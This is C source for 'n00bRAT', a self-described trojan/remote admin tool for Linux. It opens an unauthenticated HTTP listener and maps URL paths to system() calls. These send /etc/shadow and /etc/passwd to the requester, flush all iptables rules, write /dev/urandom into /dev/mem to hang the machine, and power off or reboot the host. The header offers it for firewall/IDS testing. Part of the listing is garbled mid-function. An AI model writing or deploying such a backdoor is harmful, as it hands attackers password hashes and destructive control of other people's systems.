/***********************************************************************************************
@appName : n00bRAT Server
@description : RAT (Remote Admin. Tool) for TuX (Linux/UNiX) Machines
use it as a Trojan Test for your Firewall/IDS/IPS
or to Remotely Admin. your Machines ViA Web.Browsers
Client side just requires a Web Browser like FireFox, Opera, etc.
@version : 0.7
@author : AbhishekKr [http://abhishekkr.github.io/] -=ABK=-
**********************************************************************************************/
#include "ABK_n00bRAT.h"
//the string finally sent as HTTP Response
char httpResponse[MAXSTRSIZE]="\0";
//the string to be copied to Response if correct Request
char *httpResponse200 = "HTTP/1.1 200 OK\nServer: n00b\nContent-Type: text/html\n\n"
"
it\'s n00bRAT, you control this machine here"
"-=n00bRAT=-
"
"TuX Remote Administration Tool v0.6
"
"even a Novice could use this RAT like a Pro"
"
====================================
";
//the string to be copied to Response if incorrect Request
char *httpResponse400 = "HTTP/1.1 400 Bad Request\nServer: n00b\nContent-Type: text/html\n\n"
"TuXperiment"
"Experimental Network Server
"
"Under Constrution
"
"
"
"
====================================
";
char Request[MAXSTRSIZE]="\0"; //buffer to holf Client's Request
int pfds[2]; //Pipe File Descriptors
int fd, fd2; //File descriptors
int axnCode; //To hold AXN Requested by Client
/****Prototypes****/
void dupStreamz(); //closes stdout and dup it to a stream used
void tellClient();
int getAXN();
int getAXNCode(char* axnTok);
/******************/
/* main */
int main()
{
int numbytes;
struct sockaddr_in server; /* server's address information */
struct sockaddr_in client; /* client's address information */
int sin_size;
dupStreamz();
if ((fd=socket(AF_INET, SOCK_STREAM, 0)) == -1 ){ /* calls socket() */
system("echo 'socket() error' >> zerror.log");
printf("server: socket() error\n");
exit(-1);
}
server.sin_family = AF_INET;
server.sin_addr.s_addr = INADDR_ANY; /* INADDR_ANY puts your IP address automatically */
int noobPort = PORT;
for (noobPort=PORT; noobPort < 65535; noobPort = noobPort+1){
server.sin_port = htons(noobPort); /* Remember htons() from "Conversions" section? =) */
bzero(&(server.sin_zero),8); /* zero the rest of the structure */
if(bind(fd,(struct sockaddr*)&server,sizeof(struct sockaddr))==-1){ /* calls bind() */
system("echo 'bind() error' >> zerror.log");
printf("server: bind(%d) error\n", noobPort);
if (noobPort >= 65535) {
exit(-1);
}
} else {
break;
}
}
printf("listing at :%d", noobPort);
if(listen(fd,BACKLOG) == -1){ /* calls listen() */
system("echo 'listen() error' >> zerror.log");
printf("server: listen() error\n");
}
while(1){
sin_size=sizeof(struct sockaddr_in);
if ((fd2 = accept(fd,(struct sockaddr *)&client,&sin_size))==-1){ /* calls accept() */
system("echo 'accept() error' >> zerror.log");
printf("server: accept() error\n");
exit(-1);
}
if ( (numbytes = recv(fd2, Request, MAXSTRSIZE, 0)) > 0 )
{
Request[numbytes]='\0';
//sscanf(buf, "GET %s HTTP", Req);
}else{
printf("server: recv() error");
system("echo 'recv() error' >> zerror.log");
}
axnCode = getAXN();//1;
tellClient();
close(fd2); /* close fd2 */
printf("[+] %s\n", Request);
}
return 0;
}
/*
* it duplicates STDOUT to a Program Handled Stream using it
* output of system commands is captured in this stream directly
*/
void dupStreamz(){
if(pipe(pfds) == -1){
system("echo 'IPC error' >> zerror.log");
perror("server: PiPiNG FlaW");
exit(1);
}
close(1);
dup(pfds[1]);
return;
}
/*
* it checks for the desired action in axnCode,
* executes the desired system command
* builds up the HTTP Response with desired Output
* send the HTTP Response to Client
*/
void tellClient(){
char buf[MAXSTRSIZE] = "HTTP 200 OK\0"; //buffer to hold System Commands' Output
char tmpBuf[MAXSTRSIZE];
int idx;
//clearing previous stream content
for(idx=0; idx
n00bROOT\""); break;
//hangs the TuX machine
case 0: strcpy(httpResponse,httpResponse200);
system("cat /dev/urandom > /dev/mem"); break;
//all entries of /etc/passwd
case 1: strcpy(httpResponse,httpResponse200);
system("cat /etc/passwd 2>&1 | sed 's/\\n/
/g' | sed 's/\\r/
/g'"); break;
//all entries of /etc/shadow
case 2: strcpy(httpResponse,httpResponse200);
system("cat /etc/shadow 2>&1 | sed 's/\\n/
/g' | sed 's/\\r/
/g'"); break;
//all entries of /etc/resolv.conf
case 3: strcpy(httpResponse,httpResponse200);
system("cat /etc/resolv.conf 2>&1"); break;
//prints entire ps list
case 4: strcpy(httpResponse,httpResponse200);
system("ps aux"); break;
//deletes all entries of IPTABLES (Firewall)
case 5: strcpy(httpResponse,httpResponse200);
system("iptables --flush 2>&1 && echo \'IPTables Entries Deleted\'"); break;
//all information of all NICs
case 6: strcpy(httpResponse,httpResponse200);
system("ifconfig -a 2>&1 || ip -a 2>&1 || networkctl --no-legend --no-pager status 2>&1"); break;
//System Coded Info of all NICs
case 7: strcpy(httpResponse,httpResponse200);
system("ifconfig -s 2>&1 || ip link 2>&1 || networkctl --no-legend --no-pager list 2>&1"); break;
//PowerOff
case 8: strcpy(httpResponse,httpResponse200);
system("poweroff 2>&1"); break;
//Reboot
case 9: strcpy(httpResponse,httpResponse200);
system("reboot 2>&1"); break;
//default case
default: strcpy(httpResponse,httpResponse400);
system("echo \"HTTP 404\""); break;
}
read(pfds[0], buf, MAXSTRSIZE);
strncat(tmpBuf,httpResponse,strlen(httpResponse));
strncat(tmpBuf,buf,strlen(buf));
send(fd2,tmpBuf,(strlen(httpResponse)+strlen(buf)),0);
return;
}
/*
* extracts the action code from HTTP Request
* returns back the action Code
*/
int getAXN(){
char *axnTok;
if((axnTok=strtok(Request," ")) != NULL){
if((axnTok=strtok(NULL," ")) != NULL){
printf("\naxn: %s\n",axnTok);
return getAXNCode(axnTok);
}
}
return -10;
}
/*
* getAXNCode maps passed string to action token and returns int code
*/
int getAXNCode(char* axnTok){
if(strcmp("/n00b",axnTok)==0)
return -1;
char *axnCodeCharSlash = strrchr(axnTok, '/');
char *axnCodeChar = axnCodeCharSlash ? axnCodeCharSlash + 1 : axnTok;
int axnCodeInt = *axnCodeChar - '0';
return axnCodeInt;
}